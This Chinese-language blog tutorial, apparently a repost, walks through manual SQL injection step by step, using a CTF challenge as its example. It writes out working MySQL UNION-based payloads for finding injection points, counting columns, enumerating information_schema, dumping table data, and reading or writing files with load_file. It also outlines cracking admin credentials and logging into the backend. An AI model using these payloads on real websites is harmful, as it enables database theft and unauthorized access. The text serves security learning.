1. 程式人生 > >SQL注入(四)手工注入攻擊步驟

SQL注入(四)手工注入攻擊步驟

0)首先測試正常資料。
連結的結尾新增【?id=1(數字任意)
這裡寫圖片描述
1) 判斷是否存在注入點;
【?id=32(數字任意)】連結的結尾依次新增語句【‘】、【and 1=1】和【and 1=2】,來判斷網站是否存在注入點。嘗試在正常資料後加上單引號,發現數據為空,加上註釋符(註釋符:#,–+ , //, – )後發現依舊可以正常輸出,存在注入點。看是否報錯,如果資料庫報錯,說明後臺數據庫處理了我們輸入的資料,那麼有可能存在注入點。
這裡寫圖片描述這裡寫圖片描述
2) 判斷欄位長度;
在連結後面新增語句【 order by 11 (數字任意)】,根據頁面返回結果,來判斷站點中的欄位數目。該題中已經有四處回顯(名字和3科分數),所以就猜4和5,得知查詢結果中有四列
這裡寫圖片描述

這裡寫圖片描述
3)判斷欄位回顯位置;
在連結後面新增語句【 union select 1,2,3,4,5,6,7,8,9,10,11#】進行聯合查詢(聯合查詢時記得把前面的查詢為空)來暴露可查詢的欄位號。
這裡寫圖片描述
該題四處都有回顯
3) 判斷資料庫資訊;
利用內建函式暴資料庫資訊
version()版本;database()資料庫;user()使用者;
不用猜解可用欄位暴資料庫資訊(有些網站不適用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
作業系統資訊:and 1=2 union all select @@global.version_compile_os from mysql.user
資料庫許可權:
and ord(mid(user(),1,1))=114 返回正常說明為root
4) 查詢資料庫名;
Mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊union select information_schema from information_schema.schemata
(語句在顯示位)
該題看一下資料庫資訊,庫名為skctf_flag
這裡寫圖片描述
5) 查詢資料庫表名;

union select group_concat(table_name) from information_schema.tables where table_schema=database()

這裡寫圖片描述
該題語句為【-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#】得知表名為fl4g
6) 查詢列名

【-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#】

這裡寫圖片描述
7)知道表名知道列名,獲取資料

-1' union select 1,(select skctf_flag from fl4g),3,4#

得出flag
8) 查詢資料庫表中所有欄位以及欄位值;
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位制)limit 0,1
9) 猜解賬號密碼;
10) 登陸管理員後臺。
讀檔案: union select 絕對路徑 load_file
寫入檔案:union select